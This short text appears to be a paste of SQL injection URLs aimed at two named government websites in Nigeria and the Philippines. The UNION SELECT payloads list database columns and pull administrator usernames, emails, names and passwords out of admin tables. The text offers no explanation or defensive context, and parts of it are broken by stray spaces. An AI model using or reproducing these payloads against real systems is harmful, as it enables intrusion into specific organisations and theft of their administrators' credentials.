http://www.nlrc.gov.ng/publications.php?id=4+union+select+1,concat_ws(0x3 a,id,username,password),3,4,5,6,7+from+adminlogin--
id:usernameassword

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http://www.hudcc.gov.ph/index.php?p=88&type=2&sec=29&aid=-4+union+select+1,group_concat(0x0b,column_name)+fr om+information_schema.columns+where+table_name=0x6 1646D696E6973747261746F7273

http://www.hudcc.gov.ph/index.php?p=88&type=2&sec=29&aid=-4+union+select+1,group_concat(0x0b,email,0x3a,name ,0x3a,pass)+from+administrators